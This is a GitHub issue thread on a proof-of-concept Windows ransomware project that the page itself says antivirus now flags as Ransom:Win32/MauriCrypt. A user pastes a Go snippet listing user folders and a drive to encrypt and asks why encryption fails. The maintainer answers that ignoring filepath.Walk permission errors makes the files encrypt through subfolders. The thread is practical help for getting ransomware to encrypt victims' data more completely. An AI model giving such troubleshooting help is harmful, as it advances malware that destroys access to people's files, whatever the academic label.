mauri870 / ransomware

A POC Windows crypto-ransomware (Academic). Now Ransom:Win32/MauriCrypt.MK!MTB
857 stars 413 forks source link

Access Denied #19

Closed max0451 closed 7 years ago

max0451 commented 7 years ago

I'm just starting out programming and I'm stuck with something here,

it's not encrypting anything, only trying to open the folders and getting access denied. The software runs as administrator. If I change the code like this though (which you suggested in another issue): // Directories to walk searching for files InterestingDirs = []string{ UserDir + "Pictures", UserDir + "Documents", UserDir + "Music", UserDir + "Desktop", UserDir + "Downloads", UserDir + "Videos", "E:\\", } It encrypts the files in these folders, but only these folders without subfolders, drive E fails though.

Maybe you can help me out

mauri870 commented 7 years ago

I think this was fixed by 232a2432a53a05c163769a6dacd9bf63826a467a

The problem is that filepath.Walk returns a permission error sometimes, so the program skip to the next folder. SImply ignoring the error works and the files still encrypt/decrypt normally

mauri870 commented 7 years ago

Feel free to reopen the issue if you have any questions